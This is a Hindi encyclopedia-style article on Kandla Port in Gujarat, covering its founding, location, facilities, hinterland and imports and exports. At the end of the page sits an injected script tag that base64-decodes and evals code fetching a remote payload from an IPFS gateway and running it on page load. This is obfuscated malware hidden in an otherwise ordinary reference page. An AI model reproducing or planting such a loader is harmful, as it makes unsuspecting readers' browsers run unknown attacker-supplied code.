कांडला बंदरगाह

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.
कांडला बंदरगाह
कांडला बंदरगाह
विवरण कांडला बंदरगाह भारत के सबसे बड़े 12 मुख्य बंदरगाहो में से कार्गो हेन्डलींग में सबसे बड़ा है। यह बंदरगाह खास आर्थिक क्षेत्र, जो स्पेश्यल ईकोनोमिक जोन से जाना जाता है।
देश भारत
राज्य गुजरात
ज़िला कच्छ
भाषा हिंदी, गुजराती
उद्‌घाटन 1950
स्वामित्व जहाज़रानी मंत्रालय
जेट्टी 4
निर्यात इस बंदरगाह से अभ्रक, मैंगनीज, चमड़ा, खाले, सेलखडी, अनाज, कपड़ा, कपास नमक, सीमेण्ट, हड्डी का चूरा, आदि का निर्यात किया जाता है।
अन्य जानकारी अध्यक्ष की नियुक्ति भारत सरकार द्वारा की जाती है। इस बंदरगाह में एक तैरता हुआ डॉक और ज्वार-भाटा के समय प्रयुक्त होने के लिए डॉक भी बनाये गये हैं।
अद्यतन‎ 4:25, 1 दिसम्बर-2016 (IST)

कांडला बंदरगाह (अंग्रेज़ी: Kandla Port) भारत में गुजरात प्रान्त में कच्छ ज़िले में स्थित देश का सबसे बड़ा बंदरगाह है। यह बंदरगाह भारत का सबसे पहला मुक्त व्यापार क्षेत्र है। कांडला बंदरगाह भारत के सबसे बड़े 12 मुख्य बंदरगाहो में से कार्गो हेन्डलींग में सबसे बड़ा है। यह कांडला नदी पर बना हुआ है। अधिकारियों की अनुमति लेकर यहां घूमा भी जा सकता है। यह बंदरगाह आयात-निर्यात से पूरे विश्व के साथ जुड़ा हुआ है। कांडला बंदरगाह खास आर्थिक क्षेत्र, जो स्पेश्यल ईकोनोमिक जोन से जाना जाता है। ये बंदरगाह पूरे भारत एवं एशिया का सबसे पहला खास आर्थिक क्षेत्र है, जिसकी स्थापना ई.स. 1965 में हुई थी।[1]

इतिहास

कांडला बंदरगाह एक ज्वारीय पतन है एवं इसका पोताश्रय प्राकृतिक है। इस बंदरगाह का निर्माण 1930 में कच्छ राज्य के लिए किया गया था। तब यहां एक जेट्टी थी, जिसमें साधारण आकार का केवल एक जहाज़ ठहर सकता था। किंतु विभाजन के फलस्वरूप जब कराची का बंदरगाह पाकिस्तान के अधिकार में चला गया, इसकी कमी पूरी करने हेतु ई.स. 1950 में पश्चिम भारत में अरबी समुद्र के कच्छ के अखात के तट पर कांडला बंदरगाह की स्थापना की गई थी, ताकि गुजरात के उत्तरी भाग, राजस्थान, पंजाब, हरियाणा, हिमाचल प्रदेश, दिल्ली और जम्मू-कश्मीर राज्यों की व्यापार की आवश्यकता पूरी की जा सके। साथ ही मुम्बई के व्यापार भार को घटाया जा सके। अत: 1994 में कांडला बंदरगाह की योजना कार्यांवित की गयी। कांडला बंदरगाह का प्रशासन स्थानिक तौर पर कांडला पॉर्ट ट्रस्ट के हस्तक है, जिसका पूरा नियंत्रण भारत सरकार के शिपिंग मंत्रालय के अंतर्गत आता है।

भौगोलिक स्थिति

कांडला बंदरगाह एक सामुद्रिक कटान पर स्थित है, भुज से 148 किलोमीटर दूर तथा कच्छ की खाड़ी की पूर्वी सिरे पर स्थित है और कच्छ के अखात में पाकिस्तान के कराची बंदरगाह से 256 नोटीकल माईल, मुम्बई बंदरगाह से 430 नोटीकल माईल की दूरी पर स्थित है। इस बंदरगाह में जल की औसत गहराई 9 मीटर है। इसका पोताश्रय प्राकृतिक और सुरक्षित है।

सुविधाएं

कांडला बंदरगाह में 4 घाट इतने गहरे और बड़े हैं, जिनमें किसी भी आकार के 9 मीटर डूब वाले जहाज़ खड़े हो सकते हैं। यहां गोदामों की भी अच्छी व्यवस्था है। इस बंदरगाह पर चार बड़े शैड हैं जिनमें माल सुरक्षित रखा जाता है। यहां आवश्यक आधुनिक यंत्र लगे हैं। इस बंदरगाह में 1,600 किलोमीटर दूरी तक के समाचार प्राप्त करने और भेजने वाला यंत्र और उन्नत रडार यन्त्र भी लगाया गया है। कांडला बंदरगाह से प्रतिवर्ष 70,00 मिलियन टन से भी ज्यादा कार्गो हेन्डल किया जाता है। बंदरगाह का संचालन स्थानिक तौर पर कांडला पॉर्ट ट्रस्ट के हस्तक है, जिसका प्रशासनिक कार्यालय गांधी धाम में स्थित है। कांडला बंदरगाह ट्रस्ट का संचालन भारत सरकार के शिपिंग मंत्रालय के द्वारा होता है। अध्यक्ष की नियुक्ति भारत सरकार द्वारा की जाती है। इस बंदरगाह में एक तैरता हुआ डॉक और ज्वार-भाटा के समय प्रयुक्त होने के लिए डॉक भी बनाये गये हैं। अत: इस बंदरगाह पर जहाज़ सुविधा से ठहर सकते हैं। उत्तर-पश्चिम भारत में ऐसी कई रिफाइनरियां हैं, जिन्हें एसपीएम जैसी सुविधाओं की आवश्यकता होती है। बुनियादी ढांचे पर मंत्रिमंडलीय समिति ने कच्चे तेल के आयात के लिए 621.53 करोड़ रुपए की अनुमानित लागत पर 30 वर्षों की अवधि के लिए निर्माण, संचालन और हस्तांतरण आधार पर कांडला बंदरगाह पर कच्छ की खाड़ी में एकल बिंदु लंगर और संबंधित सुविधाओं के विकास की परियोजना को मंजूरी दी थी। उत्तरी और पश्चिमी क्षेत्रों में मौजूदा रिफाइनरियों के विस्तार से पश्चिमी तट पर एसपीएम सुविधाओं के लिए अतिरिक्त मांग के बढ़ने की संभावना को ध्यान में रखते हए कांडला बंदरगाह के लिए इस परियोजना को तैयार किया गया था। एसपीएम परियोजना से कांडला पत्तन न्यास की क्षमता में 12 एमटीपीए की वृद्धि होगी और माल ढुलाई की कुल क्षमता 104 एटीपीए तक हो जाएगी और इससे देश की ऊर्जा सुरक्षा में भी वृद्धि होगी। कांडला बंदरगाह पर सभी प्रकार के बड़े आकार के गोदाम खनिज तेल, खाद्य तेल, सामान्य कार्यों हेतु बनाये गये हैं। इस बंदरगाह से तरलपदार्थ, नमक, लोहा, रसायन ईत्यादी का आयात-निर्यात होता है।

पृष्ठदेश

कांडला बंदरगाह का पृष्ठदेश काफ़ी विस्तृत है। इसमें सम्पूर्ण गुजरात, राजस्थान, हरियाणा, पंजाब, जम्मू-कश्मीर, पश्चिमी उत्तर प्रदेश, दिल्ली और पश्चिमी मध्य प्रदेश के कुछ भाग सम्मिलित किये जाते हैं। इस बंदरगाह का पृष्ठदेश मछली, सीमेण्ट बनाने के कच्चे माल, जिप्सम, लिग्नाइट, नमक, बॉक्साइट, आदि स्त्रोतों में धनी है। यहाँ सूती वस्त्र, चमड़ा, दवाइयां, आदि बनाने के अनेक कारखाने भी हैं। कांडला बंदरगाह रेल व सड़कमार्ग द्वारा पृष्ठदेश से जुड़ा हुआ है।

आयात एवं निर्यात

कांडला बंदरगाह से अभ्रक, मैंगनीज, चमड़ा, खाले, सेलखडी, अनाज, कपड़ा, कपास नमक, सीमेण्ट, हड्डी का चूरा, आदि का निर्यात किया जाता है। आयात में लोहे का सामान, मशीनें गंधक, अनाज, पेट्रोलियम, खाद, रसायन, कपास, आदि वस्तुएं अधिक होती हैं। आयात किये जाने वाले माल पर भी आयात शुल्क नहीं लगता, क्योंकि तैयार माल को यहां से पुन: विदेशों में भेज दिया जाता है।

अन्य जानकारी

कांडला बंदरगाह की समृद्धि के लिए यहं मुक्त व्यापार क्षेत्र[2]भी बनाया गया है। यह क्षेत्र चारों ओर तारों से घिरा हुआ है। अन्य बंदरगाहों की भांति यहां आकार भरे, छाँटे और तैयार किये जाने वाले माल पर चुंगी नहीं लगती। यहां से एक खनिज तेल पाइप लाइन मथुरा तक गई है। इस बंदरगाह की सबसे बड़ी असुविधा यह है कि यह भूकंप की पट्टी में पड़ता है, जिससे यहां भवन निर्माण पर अधिक खर्च पड़ता है। कांडला बंदरगाह खास आर्थिक क्षेत्र, स्पेश्यल ईकोनोमिक ज़ोन से जाना जाता है। ये कांडला पॉर्ट से सिर्फ 1 कि.मी. की दूरी पर है।

पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. भारत का भूगोल |लेखक: डॉ. चतुर्भुज मामोरिया |प्रकाशक: साहित्य भवन पब्लिकेशन्स, आगरा |पृष्ठ संख्या: 367 |
  2. (Free Trade Zone)

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>